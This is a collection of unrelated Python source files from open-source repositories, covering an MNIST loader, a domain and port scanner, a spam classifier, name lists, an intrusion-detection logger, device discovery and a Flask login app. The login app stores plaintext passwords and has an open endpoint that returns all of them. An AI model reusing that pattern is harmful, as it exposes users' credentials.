= data\n self.batch_size = batch_size\n\n self.LENGTH = len(self.data)\n self.init()\n \n def get_batch_idxs(self, batch_size=None):\n batch_size = batch_size if batch_size is not None else self.batch_size\n if self.loc + batch_size > self.LENGTH:\n self.init()\n self.loc += batch_size\n return self.idxs[self.loc - batch_size:self.loc]\n \n def get_batch_data(self, batch_size=None):\n idxs = self.get_batch_idxs(batch_size)\n return self.shuffled_data[self.loc:self.loc+len(idxs)]\n \n def init(self):\n self.reset()\n self.shuffle()\n\n def reset(self):\n self.loc=0\n\n def shuffle(self):\n self.idxs = np.random.permutation(self.LENGTH)\n self.shuffled_data = self.data[self.idxs]\n\n", "source": "YoNyeoSeok/MNIST_Classification", "license": "MIT"} {"text": "import sys, asyncio, os\nfrom catalog import searchDomains, findOpenPorts, kafkaProducer\nfrom aux import consumer, producer\n\nasync def main():\n tasks = []\n foundDomains = asyncio.Queue()\n portsQueue = asyncio.Queue()\n tasks.append(asyncio.create_task(producer(searchDomains, sys.argv[1], foundDomains)))\n tasks.append(asyncio.create_task(consumer(foundDomains, findOpenPorts, 1, \"80,443\", portsQueue)))\n tasks.append(asyncio.create_task(consumer(portsQueue, kafkaProducer, 2, os.environ[\"KAFKA_SERVER\"], \"domainsTopic\")))\n await asyncio.gather(*tasks)\n\nasyncio.run(main())\n", "source": "BBVA/MIST", "license": "Apache-2.0"} {"text": "import pandas as pd\nimport joblib\nimport re\nfrom flask import Flask, jsonify, Response, request\nfrom flask_cors import CORS, cross_origin\n\napp = Flask(__name__)\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\nwords_frequency = []\nchar_frequency = []\ncapital_data = []\nnumber_words = 0\nnumber_chars = 0\nmessage = ''\n\n# Things: We assume message does not have line breaks \n@app.route(\"/checkEmail\", methods=['POST'])\n@cross_origin()\ndef checkEmail():\n\n main()\n model = joblib.load(\"model/model.pkl\")\n\n global message\n message = request.json['message']\n \n if len(message) < 5:\n return Response(status=400)\n\n # Count capitals related things\n countCapitalLettersSequences()\n\n message = message.lower()\n\n # Count number of words and chars\n message_words = message.split(\" \")\n\n global number_words, number_chars\n number_words = len(message_words)\n number_chars = len(message)\n\n # Count Amount of each word and chars defined in the dataset\n countDatasetWords(message_words)\n countDatasetChars()\n\n # Until here we have the absolute frquency of words and chars, we need to get this data in percentages\n data = toModelDataFormat()\n \n # Add columns names as np array, as in the last section of model.ipynb\n # Get columns names by reading the dataset\n df = pd.read_csv(\"./data/dataset_44_spambase.csv\")\n df = df.drop(['class'], axis = 1)\n \n final_data = mergeLabels(df.columns, data)\n frame = model.predict(final_data)\n\n print(final_data)\n\n if (frame.max() == 1):\n e = True\n else:\n e = False\n\n main()\n\n return {'class': e}\n\ndef countDatasetWords(message_words):\n\n global words_frequency\n\n for mword in message_words:\n for index, word in enumerate(words_frequency):\n if (word[0] == mword):\n words_frequency[index][1] += 1\n\ndef countDatasetChars():\n\n global char_frequency\n \n for mchar in message:\n for index, char in enumerate(char_frequency):\n if (mchar[0] == char):\n char_frequency[index][1] += 1\n\ndef countCapitalLettersSequences():\n\n capital_sequences = []\n\n for index, char in enumerate(message):\n if (char.isupper()):\n if (message[index - 1].isupper() and index > 0):\n capital_sequences[-1] = capital_sequences[-1] + char\n else:\n capital_sequences.append(char)\n\n # Get the data we want\n\n # Average length of uninterrupted sequences of capital letters\n global capital_data\n len_sum = 0\n\n for sequence in capital_sequences:\n len_sum += len(sequence)\n\n try:\n len_avg = len_sum / len(capital_sequences)\n except ZeroDivisionError:\n len_avg = 0\n\n capital_data.append(len_avg)\n\n # Length of longest uninterrupted sequence of capital letters\n len_longest = 0\n\n for sequence in capital_sequences:\n if (len(sequence) > len_longest):\n len_longest = len(sequence)\n\n capital_data.append(len_longest)\n\n # total number of capital letters in the e-mail\n capital_data.append(len_sum)\n\ndef toModelDataFormat():\n\n email = []\n \n # To percentage frequency and add to email model\n for word_freq in words_frequency:\n email.append(word_freq[1] / number_words)\n\n for char_freq in char_frequency:\n email.append(char_freq[1] / number_chars)\n\n # We add the capital letters data\n for data in capital_data:\n email.append(data)\n\n return email\n\ndef mergeLabels(columns, data):\n\n d = {}\n\n for key in columns:\n for value in data:\n d[key] = [value]\n data.remove(value)\n break\n\n return pd.DataFrame.from_dict(d)\n \ndef main():\n\n global words_frequency, char_frequency, capital_data, number_words, number_chars, message\n\n capital_data = []\n number_words = 0\n number_chars = 0\n message = ''\n \n # Define in an array the words used by the database\n words_frequency = [\n ['make'], ['address'], ['all'], ['3d'], ['our'], ['over'], ['remove'], ['internet'],\n ['order'], ['mail'], ['receive'], ['will'], ['people'], ['report'], ['addresses'],\n ['free'], ['business'], ['email'], ['you'], ['credit'], ['your'], ['font'], ['000'],\n ['money'], ['hp'], ['hpl'], ['george'], ['650'], ['lab'], ['labs'], ['telnet'], ['857'],\n ['data'], ['415'], ['85'], ['technology'], ['1999'], ['parts'], ['pm'], ['direct'], ['cs'],\n ['meeting'], ['original'], ['project'], ['re'], ['edu'], ['table'], ['conference']\n ]\n\n # Define the second index of each set the number of occurrences of word, we start with 0\n for word_data in words_frequency:\n word_data.append(0)\n\n # And the chars, same thing\n char_frequency = [[';'], ['('], ['['], ['!'], ['$'], ['#']]\n\n for char_data in char_frequency:\n char_data.append(0)\n\nmain()\napp.run()", "source": "vinibrenobr11/SpamDetector", "license": "MIT"} {"text": "import time\nimport sys\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nclass DMTools:\n def SuspensePause(message):\n for x in message:\n time.sleep(1.5)\n sys.stdout.write(x)\n sys.stdout.write(\" \")\n sys.stdout.flush()\n\n def callPause(pauseDuration):\n for ellipsis in range(0, 3):\n time.sleep(pauseDuration)\n sys.stdout.write(\".\")\n sys.stdout.write(\" \")\n sys.stdout.flush()\n", "source": "Carvuh/TerminalQuest", "license": "MIT"} {"text": "# ===============================================================================\n# Copyright 2016 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom traitsui.api import View, HGroup, VGroup, UItem\n\n# ============= standard library imports ========================\n# ============= local library imports ==========================\nfrom pychron.options.options import AppearanceSubOptions, SubOptions\n\n\nclass MDDFigureAppearanceOptions(AppearanceSubOptions):\n pass\n\n\nclass MDDFigureMainOptions(SubOptions):\n def traits_view(self):\n r1 = HGroup(UItem('panel_ul'), UItem('panel_ur'))\n r2 = HGroup(UItem('panel_ll'), UItem('panel_lr'))\n\n panel_grp = VGroup(r1, r2, show_border=True, label='Panels')\n v = View(panel_grp)\n return v\n\n\nVIEWS = {'main': MDDFigureMainOptions, 'appearance': MDDFigureAppearanceOptions}\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "male = [\n 'AKIO',\n 'AKIRA',\n 'AOI',\n 'ARATA',\n 'ASUKA',\n 'AYUMU',\n 'DAICHI',\n 'DAIKI',\n 'DAISUKE',\n 'GORO',\n 'GOROU',\n 'HACHIRO',\n 'HACHIROU',\n 'HARU',\n 'HARUKA',\n 'HARUKI',\n 'HARUTO',\n 'HAYATE',\n 'HAYATO',\n 'HIBIKI',\n 'HIDEAKI',\n 'HIDEKI',\n 'HIDEYOSHI',\n 'HIKARI',\n 'HIKARU',\n 'HINATA',\n 'HIRAKU',\n 'HIROKI',\n 'HIROSHI',\n 'HIROTO',\n 'ICHIRO',\n 'ICHIROU',\n 'ISAMU',\n 'ITSUKI',\n 'JIRO',\n 'JIROU',\n 'JUN',\n \"JUN'ICHI\",\n 'JURO',\n 'JUROU',\n 'JUUROU',\n 'KAEDE',\n 'KAITO',\n 'KAORU',\n 'KATASHI',\n 'KATSU',\n 'KATSUO',\n 'KATSURO',\n 'KATSUROU',\n 'KAZUKI',\n 'KAZUO',\n 'KEN',\n \"KEN'ICHI\",\n 'KENJI',\n 'KENSHIN',\n 'KENTA',\n 'KICHIRO',\n 'KICHIROU',\n 'KIYOSHI',\n 'KOHAKU',\n 'KOUKI',\n 'KOUTA',\n 'KURO',\n 'KUROU',\n 'KYO',\n 'KYOU',\n 'MAKOTO',\n 'MASAMI',\n 'MASARU',\n 'MICHI',\n 'MINATO',\n 'MINORU',\n 'NAOKI',\n 'NAOMI',\n 'NOBORU',\n 'NOBU',\n 'NOBURU',\n 'NOBUYUKI',\n 'NORI',\n 'OSAMU',\n 'REN',\n 'RIKU',\n 'RIKUTO',\n 'RIN',\n 'ROKURO',\n 'ROKUROU',\n 'RYO',\n 'RYOICHI',\n 'RYOTA',\n 'RYOU',\n 'RYOUICHI',\n 'RYOUTA',\n 'RYUU',\n 'RYUUNOSUKE',\n 'SABURO',\n 'SABUROU',\n 'SHICHIRO',\n 'SHICHIROU',\n 'SHIN',\n \"SHIN'ICHI\",\n 'SHINOBU',\n 'SHIORI',\n 'SHIRO',\n 'SHIROU',\n 'SHO',\n 'SHOTA',\n 'SHOU',\n 'SHOUHEI',\n 'SHOUTA',\n 'SHUN',\n 'SORA',\n 'SOTA',\n 'SOUMA',\n 'SOUTA',\n 'SUSUMU',\n 'TAICHI',\n 'TAIKI',\n 'TAKAHIRO',\n 'TAKARA',\n 'TAKASHI',\n 'TAKEHIKO',\n 'TAKESHI',\n 'TAKUMA',\n 'TAKUMI',\n 'TAKUYA',\n 'TARO',\n 'TAROU',\n 'TOMOMI',\n 'TSUBASA',\n 'YAMATO',\n 'YASU',\n 'YORI',\n 'YOSHI',\n 'YOSHIRO',\n 'YOSHIROU',\n 'YOUTA',\n 'YUKI',\n 'YUU',\n 'YUUDAI',\n 'YUUKI',\n 'YUUMA',\n 'YUUTA',\n 'YUUTO'\n]\n\nfemale = [\n 'AI',\n 'AIKO',\n 'AIMI',\n 'AINA',\n 'AIRI',\n 'AKANE',\n 'AKARI',\n 'AKEMI',\n 'AKI',\n 'AKIKO',\n 'AKIRA',\n 'AMI',\n 'AOI',\n 'ASUKA',\n 'ATSUKO',\n 'AYA',\n 'AYAKA',\n 'AYAKO',\n 'AYAME',\n 'AYANE',\n 'AYANO',\n 'CHIHIRO',\n 'CHIKA',\n 'CHIKAKO',\n 'CHINATSU',\n 'CHIYO',\n 'CHIYOKO',\n 'CHO',\n 'CHOU',\n 'CHOUKO',\n 'EMI',\n 'ETSUKO',\n 'FUYUKO',\n 'HANA',\n 'HANAE',\n 'HANAKO',\n 'HARU',\n 'HARUKA',\n 'HARUKO',\n 'HARUNA',\n 'HIBIKI',\n 'HIKARI',\n 'HIKARU',\n 'HINA',\n 'HINATA',\n 'HIROKO',\n 'HITOMI',\n 'HONOKA',\n 'HOSHI',\n 'HOSHIKO',\n 'HOTARU',\n 'IZUMI',\n 'JUN',\n 'JUNKO',\n 'KAEDE',\n 'KANON',\n 'KAORI',\n 'KAORU',\n 'KAREN',\n 'KASUMI',\n 'KAZUE',\n 'KAZUKO',\n 'KEIKO',\n 'KIKU',\n 'KIMIKO',\n 'KIYOKO',\n 'KOHAKU',\n 'KOHARU',\n 'KOKORO',\n 'KOTONE',\n 'KUMIKO',\n 'KYO',\n 'KYOU',\n 'MAI',\n 'MAKOTO',\n 'MAMI',\n 'MANAMI',\n 'MAO',\n 'MARI',\n 'MARIKO',\n 'MASAMI',\n 'MASUYO',\n 'MAYU',\n 'MEGUMI',\n 'MEI',\n 'MICHI',\n 'MICHIKO',\n 'MIDORI',\n 'MIHO',\n 'MIKA',\n 'MIKI',\n 'MIKU',\n 'MINAKO',\n 'MINATO',\n 'MINORU',\n 'MIO',\n 'MISAKI',\n 'MITSUKO',\n 'MIU',\n 'MIYAKO',\n 'MIYU',\n 'MIZUKI',\n 'MOE',\n 'MOMOKA',\n 'MOMOKO',\n 'MORIKO',\n 'NANA',\n 'NANAKO',\n 'NANAMI',\n 'NAOKO',\n 'NAOMI',\n 'NATSUKI',\n 'NATSUKO',\n 'NATSUMI',\n 'NOA',\n 'NORIKO',\n 'RAN',\n 'REI',\n 'REINA',\n 'REN',\n 'RIKO',\n 'RIN',\n 'RINA',\n 'RIO',\n 'SACHIKO',\n 'SAKI',\n 'SAKIKO',\n 'SAKURA',\n 'SAKURAKO',\n 'SATOMI',\n 'SAYAKA',\n 'SAYURI',\n 'SETSUKO',\n 'SHINJU',\n 'SHINOBU',\n 'SHIORI',\n 'SHIZUKA',\n 'SHUN',\n 'SORA',\n 'SUMIKO',\n 'SUZU',\n 'SUZUME',\n 'TAKAKO',\n 'TAKARA',\n 'TAMIKO',\n 'TOMIKO',\n 'TOMOKO',\n 'TOMOMI',\n 'TSUBAKI',\n 'TSUBAME',\n 'TSUBASA',\n 'TSUKIKO',\n 'UME',\n 'UMEKO',\n 'WAKANA',\n 'YASU',\n 'YOKO',\n 'YOSHI',\n 'YOSHIKO',\n 'YOUKO',\n 'YUA',\n 'YUI',\n 'YUINA',\n 'YUKI',\n 'YUKIKO',\n 'YUKO',\n 'YUMI',\n 'YUMIKO',\n 'YURI',\n 'YUU',\n 'YUUKA',\n 'YUUKI',\n 'YUUKO',\n 'YUUNA',\n 'YUZUKI'\n]\n\nlast = [\n 'Saiu',\n 'Susuki',\n 'Tanaka',\n 'Kakahashi',\n 'Okamura',\n 'Ito',\n 'Inoue',\n 'Marina',\n 'Ohayashi',\n 'Kaiu',\n 'Ishii',\n 'Kichida',\n 'Ooshita',\n 'Ishida',\n 'Yaguchi',\n 'Masamoto',\n 'Iue',\n 'Kimura',\n 'Saitou',\n 'Atsumi',\n 'Isao',\n 'Abu',\n 'Ouno',\n 'Nakashima',\n 'Iyo',\n 'Aoki',\n 'Iketa',\n 'Hashinomoto',\n 'Okata',\n 'Yamasa',\n 'Sanka',\n 'Okawa',\n 'Touda',\n 'Aeda',\n 'Sasegawa',\n 'Gatou',\n 'Etou',\n 'Kontou',\n 'Takeuchi',\n 'Samurakami',\n 'Arai',\n 'Saito',\n 'Karumera',\n 'Nakano',\n 'Outa',\n 'Shiraishi',\n 'Eriane',\n 'Fuabio',\n 'Torori',\n 'Nakakawa',\n 'Miura',\n 'Okahon',\n 'Kanako',\n 'Arekusu',\n 'Uirane',\n 'Sakai',\n 'Eririn',\n 'Uchiyama',\n 'Ishita',\n 'Morita',\n 'Kazuko',\n 'Kouda',\n 'Enzan',\n 'Ageta',\n 'Kizakipara',\n 'Kawano',\n 'Uida',\n 'Shida',\n 'Miyamoto',\n 'Katsutoshi',\n 'Anzou',\n 'Mashita',\n 'Oshima',\n 'Imai',\n 'Tanikuchi',\n 'Miyagiki',\n 'Kawamura',\n 'Saita',\n 'Murata',\n 'Kouki',\n 'Kudau',\n 'Ootsuka',\n 'Kan',\n 'Kubota',\n 'Sukiyama',\n 'Sakurai',\n 'Oba',\n 'Hijimoto',\n 'Oyama',\n 'Oohira',\n 'Matsui',\n 'Nokuchi',\n 'Agano',\n 'Kanbara',\n 'Taketa',\n 'Sano',\n 'Nagai',\n 'Imura',\n 'Kitabayashi',\n 'Matsuo',\n 'Kishimoto',\n 'Kioroshi',\n 'Ichika',\n 'Abe',\n 'Sukimoto',\n 'Kikuji',\n 'Kokawa',\n 'Ounishi',\n 'Kouno',\n 'Kikawa',\n 'Shikuda',\n 'Iiwasaki',\n 'Misuno',\n 'Kawakuchi',\n 'Omatsuzaki',\n 'Arurete',\n 'Kitamura',\n 'Sannai',\n 'Kikuike',\n 'Iita',\n 'Uemori',\n 'Osawa',\n 'Hamata',\n 'Agari',\n 'Uchida',\n 'Kanno',\n 'Ada',\n 'Hayashi',\n 'Tsuchiya',\n 'Kawasaki',\n 'Ikazaki',\n 'Akiyama',\n 'Nameda',\n 'Iwata',\n 'Kano',\n 'Isa',\n 'Kurarise',\n 'Shidzu',\n 'Itou',\n 'Nakasai',\n 'Tagichi',\n 'Asano',\n 'Hotta',\n 'Sanchuu',\n 'Oushima',\n 'Toiguchi',\n 'Honta',\n 'Ashimura',\n 'Kaore',\n 'Yano',\n 'Oohashi',\n 'Umaba',\n 'Morihon',\n 'Matsushita',\n 'Hoshino',\n 'Araki',\n 'Oike',\n 'Kichioka',\n 'Kaai',\n 'Ookuho',\n 'Osaki',\n 'Uemura',\n 'Nota',\n 'Matsuura',\n 'Oota',\n 'Oogai',\n 'Naitou',\n 'Kumakai',\n 'Miyata',\n 'Hirai',\n 'Okura',\n 'Kurida',\n 'Eita',\n 'Nishiyama',\n 'Ota',\n 'Amano',\n 'Soukawa',\n 'Kurinohara',\n 'Kasai',\n 'Shouson',\n 'Ousawa',\n 'Ori',\n 'Oishi',\n 'Tsumozuki',\n 'Tanahe',\n 'Ishizaki',\n 'Kakuyama',\n 'Oizumi',\n 'Yokuta',\n 'Imoto',\n 'Sakakuchi',\n 'Ogihara',\n 'Sekikuchi',\n 'Serujio',\n 'Onishi',\n 'Eshinu',\n 'Sutou',\n 'Fukui',\n 'Koga',\n 'Honma'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "from datetime import date\nfrom shutil import copyfile\nimport os\nimport time\nimport collections\nimport data_handling\n\nclass Analysis:\n \"\"\"\n keep track of current window of syscall and handle syscall which\n triggered an alarm\n \"\"\"\n\n def __init__(self, window_length):\n \"\"\"\n Initialize window_length and deque which keeps track of window\n :params: window_length of moving window of system calls\n \"\"\"\n self.window_length = window_length\n self.deque_window = collections.deque()\n self.consecutive_alarm_list = []\n self.alarm = False\n self.alarm_count = 0\n self.last_alarm_content = \"\"\n self.last_alarm_queue = collections.deque()\n\n def save_raw_syscall(self, syscall, syscall_num):\n \"\"\"\n extract needed information of raw system call for later analysis\n :params: syscall raw system call information\n :params: syscall_num ids converts syscall names to int\n \"\"\"\n rawtime = str(syscall[1])\n latency = str(syscall[2])\n threadID = str(syscall[4])\n direction = str(syscall[5])\n syscall_type = str(syscall[6])\n evt_string = \"\"\n if len(syscall[7]) > 0:\n for evt in syscall[7]:\n evt_string = evt_string + str(evt)\n \n syscall = rawtime + \" | \" + \\\n latency + \" | \" + \\\n threadID + \" | \" + \\\n direction + \" | \" + \\\n syscall_type + \" | \" + \\\n evt_string + \" | \" + \\\n str(syscall_num)\n\n filename = \"alarm_info/raw_syscalls/raw_list_Alarm_No_\" + str(self.alarm_count) \n if not os.path.exists(os.path.dirname(filename)):\n try:\n os.makedirs(os.path.dirname(filename))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n with open(filename, 'a') as raw_list:\n raw_list.write(syscall + \"\\n\")\n\n def track_mv_window(self, ngram_tuple):\n \"\"\"\n receive ngram_tuple write in deque\n keep moving window of demo_model\n \"\"\"\n self.deque_window.append(ngram_tuple)\n if len(self.deque_window) >= self.window_length:\n self.deque_window.popleft()\n\n def save_tracked_window(self):\n \"\"\"\n save tracked window to file\n save tracked window in queue\n ->preparation for frontend reports\n \"\"\"\n window_name = \"window_\" + time.strftime(\"%I:%M:%S\") + \\\n \"_Alarm_No_\" + str(self.alarm_count)\n filename = \"alarm_info/tracked_window/\" + window_name\n if not os.path.exists(os.path.dirname(filename)):\n try:\n os.makedirs(os.path.dirname(filename))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n for entry in self.deque_window:\n with open(filename, 'a') as window_file:\n window_file.write(''.join(str(entry) + \"\\n\"))\n self.last_alarm_content = self.last_alarm_content + ''.join(str(entry) + \"\\n\")\n self.last_alarm_queue.append(self.last_alarm_content)\n self.last_alarm_content = \"\"\n\n def save_current_window(self, ngram_tuple, score, mismatch_value, consecutive_alarm):\n \"\"\"\n if it is a consecutive alarm save to queue \n else save current window of ngrams to new file with timestamp\n and score as name\n \"\"\"\n # if its the first ngram which exceeds the alarm threshold\n # create queue and save tracked moving window \n if not consecutive_alarm and not ngram_tuple is None:\n self.save_tracked_window()\n self.deque_alarm = collections.deque() \n self.deque_alarm.append([ngram_tuple, score, mismatch_value])\n elif consecutive_alarm and not ngram_tuple is None:\n # add last syscall of ngram\n self.deque_alarm.append([(ngram_tuple[len(ngram_tuple)-1]), score, mismatch_value])\n elif ngram_tuple is None:\n print(\"saving queue with length {} in file\".format(len(self.deque_alarm)))\n print(str(self.alarm_count))\n new_filename = \"alarm_info/\" + \\\n str(date.today()) + \"_\" + \\\n time.strftime(\"%I:%M:%S\") + \"_\" + \\\n \"Alarm_No_\" + str(self.alarm_count) + \\\n \".txt\"\n with open(new_filename, \"a\") as f:\n for entry in self.deque_alarm:\n f.write(\n str(entry[0]) +\n \" \" + str(entry[1]) + \n \" \" + str(entry[2]) + \n \"\\n\") \n self.alarm_count += 1\n\n def handle_alarm(self, ngram_tuple, score):\n \"\"\"\n add ngram_tuple which triggered an alarm \n to list of consecutive alarms\n if alarms stop, model sends consecutive=False\n :param ngram_tuple: ngram_tuple handled by ids\n :param consecutive: if consecutive ended\n \"\"\"\n if ngram_tuple != None:\n self.consecutive_alarm_list.append([ngram_tuple, score])\n else:\n print(\"consecutive end\")\n new_filename = \"alarm_info/\" + \\\n str(date.today()) + \"_\" + \\\n time.strftime(\"%I:%M:%S\") + \"_\" + \\\n \".txt\"\n with open(new_filename, \"a\") as f:\n for ngram_tuple in self.consecutive_alarm_list:\n f.write(\n str(ngram_tuple[0]) + str(ngram_tuple[1])) + \"\\n\"\n\n def get_last_alarm_content(self):\n if self.last_alarm_queue:\n tmp = self.last_alarm_queue.popleft()\n print(len(tmp))\n return tmp\n else:\n return \"\"\n\n\n", "source": "LID-DS/Demo", "license": "BSD-3-Clause"} {"text": "import inspect\nimport socket\nimport time\nfrom logging import getLogger\n\nimport struct\n\nsocket.setdefaulttimeout(30)\n\n_GROUP = '239.255.250.250'\n_RECEIVE_PORT = 9131\n_SEND_PORT = 9130\n\n\nclass Discoverer(object):\n def __init__(self):\n self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n mreq = struct.pack(\n \"4sL\",\n socket.inet_aton(_GROUP),\n socket.INADDR_ANY\n )\n self._sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n\n self._logger = getLogger(self.__class__.__name__)\n self._logger.debug('{0}()'.format(\n inspect.currentframe().f_code.co_name\n ))\n\n def bind(self):\n self._logger.debug('{0}()'.format(\n inspect.currentframe().f_code.co_name,\n ))\n\n self._sock.bind((_GROUP, _RECEIVE_PORT))\n\n def send(self):\n self._logger.debug('{0}()'.format(\n inspect.currentframe().f_code.co_name,\n ))\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.sendto(b'SENDAMXB', (_GROUP, _SEND_PORT))\n\n def receive(self):\n data = self._sock.recv(1024)\n\n self._logger.debug('{0}(); data={1}'.format(\n inspect.currentframe().f_code.co_name, repr(data)\n ))\n\n return data\n\n def parse(self, data):\n self._logger.debug('{0}({1})'.format(\n inspect.currentframe().f_code.co_name, repr(data)\n ))\n\n data = data.decode('ascii')\n\n if not data.startswith('AMXB') or not all(\n [x in data for x in ['UUID', 'Type', 'Make', 'Model', 'Revision', 'Config-URL']]\n ):\n exception = ValueError(\n 'cannot parse data {0}; does not appear to be in correct format'.format(\n repr(data)\n )\n )\n\n self._logger.error('{0}({1}); exception={1}'.format(\n inspect.currentframe().f_code.co_name, repr(data)\n ))\n\n raise exception\n\n data = dict([x[0:-1].split('=') for x in data.split('<-')[1:]])\n\n self._logger.debug('{0}({1}); data={1}'.format(\n inspect.currentframe().f_code.co_name, repr(data)\n ))\n\n return data\n\n def discover(self, unique_zmote_limit=None, uuid_to_look_for=None):\n if unique_zmote_limit is not None and uuid_to_look_for is not None:\n raise ValueError('must specify only one (or neither) of unique_zmote_limit or uuid_to_look_for')\n\n zmotes_by_uuid = {}\n\n self._logger.debug('{0}({1})'.format(\n inspect.currentframe().f_code.co_name, unique_zmote_limit\n ))\n\n def keep_waiting():\n if unique_zmote_limit is not None:\n if len(zmotes_by_uuid) >= unique_zmote_limit:\n return False\n elif uuid_to_look_for in zmotes_by_uuid:\n return False\n\n return True\n\n while keep_waiting():\n try:\n data = self.receive()\n except socket.timeout:\n break\n\n parsed_data = self.parse(data)\n\n ip = parsed_data.get('Config-URL').split('//')[-1].strip('/')\n parsed_data.update({\n 'IP': ip,\n })\n\n zmotes_by_uuid.update({\n parsed_data['UUID']: parsed_data,\n })\n\n self._logger.debug('{0}({1}); zmotes_by_uuid={2}'.format(\n inspect.currentframe().f_code.co_name, unique_zmote_limit, zmotes_by_uuid\n ))\n\n return zmotes_by_uuid\n\n\ndef passive_discover_zmotes(unique_zmote_limit=None, uuid_to_look_for=None):\n d = Discoverer()\n d.bind()\n return d.discover(\n unique_zmote_limit=unique_zmote_limit,\n uuid_to_look_for=uuid_to_look_for,\n )\n\n\ndef active_discover_zmotes(unique_zmote_count=None, uuid_to_look_for=None):\n d = Discoverer()\n d.bind()\n for i in range(0, 5):\n d.send()\n time.sleep(0.1)\n return d.discover(\n unique_zmote_limit=unique_zmote_count,\n uuid_to_look_for=uuid_to_look_for,\n )\n\n\nif __name__ == '__main__':\n import argparse\n import pprint\n\n import logging\n\n handler = logging.StreamHandler()\n handler.setFormatter(\n logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n )\n\n logger = logging.getLogger(Discoverer.__name__)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n\n parser = argparse.ArgumentParser(\n description='Discover zmote.io devices on the local network- default behaviour with no arguments is to time out after 30 seconds',\n epilog='See http://www.zmote.io/apis for more detail'\n )\n\n parser.add_argument(\n '-l',\n '--unique-zmote-limit',\n type=int,\n default=None,\n help='number of unique devices to wait for',\n )\n\n parser.add_argument(\n '-u',\n '--uuid-to-look-for',\n type=str,\n default=None,\n help='UUID of a device to wait for',\n )\n\n parser.add_argument(\n '-a',\n '--active',\n action='store_true',\n required=False,\n help='send probe first to discover devices faster (default disabled)',\n )\n\n args = parser.parse_args()\n\n if args.unique_zmote_limit is not None and args.uuid_to_look_for is not None:\n parser.error('must specify only one (or neither) of --unique-zmote-limit or --uuid-to-look-for')\n\n if args.active:\n zmotes = active_discover_zmotes(args.unique_zmote_limit, args.uuid_to_look_for)\n else:\n zmotes = passive_discover_zmotes(args.unique_zmote_limit, args.uuid_to_look_for)\n\n print('')\n pprint.pprint(zmotes)\n", "source": "initialed85/zmote", "license": "MIT"} {"text": "from Server import App,db\r\nfrom flask import jsonify,request, render_template\r\nfrom login import Login\r\nimport jwt\r\n\r\n\r\n@App.route(\"/\", methods=[\"GET\"])\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n@App.route(\"/home\", methods=[\"GET\"])\r\ndef home():\r\n return render_template(\"principal.html\")\r\n\r\n@App.route(\"/login\", methods=[\"GET\", \"POST\"])\r\ndef logging():\r\n if request.method == 'POST':\r\n login = request.form['login']\r\n senha = request.form['senha']\r\n verLog = Login.query.get(login)\r\n if verLog.senha == senha:\r\n return render_template(\"principal.html\")\r\n else:\r\n return \"Welp...\"\r\n return render_template(\"login.html\")\r\n\r\n\r\n@App.route(\"/cadastro\", methods=[\"GET\", \"POST\"])\r\ndef cadastro():\r\n if request.method == 'POST':\r\n login = request.form['login']\r\n senha = request.form['senha']\r\n nome = request.form['nome']\r\n email = request.form['email']\r\n user = Login.query.all()\r\n Dados = []\r\n for v in user:\r\n Dados.append({\"Login\": v.login})\r\n for verificar in Dados:\r\n if login == verificar[\"Login\"]:\r\n return \"Login usado\"\r\n BD = Login()\r\n BD.login = login\r\n BD.senha = senha\r\n BD.nome = nome\r\n BD.email = email\r\n db.session.add(BD)\r\n db.session.commit()\r\n return \"Cadastro OK\"\r\n return render_template(\"cadastro.html\")\r\n\r\n\r\n@App.route(\"/deletar\", methods=[\"GET\", \"POST\", \"DELETE\"])\r\ndef check():\r\n if request.method == 'POST':\r\n login = request.form['login']\r\n senha = request.form['senha']\r\n user = Login.query.get(login)\r\n if not user:\r\n return \"Login not found \"\r\n elif user.senha != senha:\r\n return \"Senha errada\"\r\n else:\r\n db.session.delete(user)\r\n db.session.commit()\r\n return \"Usu\u00e1rio deletado\"\r\n return render_template(\"cadastro.html\")\r\n\r\n@App.route(\"/consulta\", methods=[\"GET\"])\r\ndef Consultar():\r\n user = Login.query.all()\r\n Retorno = []\r\n Response = {\"Status\":\"\", \"Dados\":\"\", \"Mensagem\":\"\"}\r\n for u in user:\r\n Retorno.append({\"Login\": u.login, \"Nome\": u.nome, \"E-mail\": u.email, \"Senha\": u.senha})\r\n Response[\"Dados\"] = Retorno\r\n Response[\"Status\"] = \"Sucesso\"\r\n Response[\"Mensagem\"] = \"\"\r\n return jsonify(Response) ", "source": "FelipeSPB/Espaco_vivi", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nHandler for the git checkout command.\n\nCopyright:\n 2020 by Clemens Rabe \n\n All rights reserved.\n\n This file is part of gitcache (https://github.com/seeraven/gitcache)\n and is released under the \"BSD 3-Clause License\". Please see the ``LICENSE`` file\n that is included as part of this package.\n\"\"\"\n\n\n# -----------------------------------------------------------------------------\n# Module Import\n# -----------------------------------------------------------------------------\nimport logging\n\nfrom .helpers import get_mirror_url\nfrom ..command_execution import getstatusoutput, simple_call_command\nfrom ..database import Database\nfrom ..git_mirror 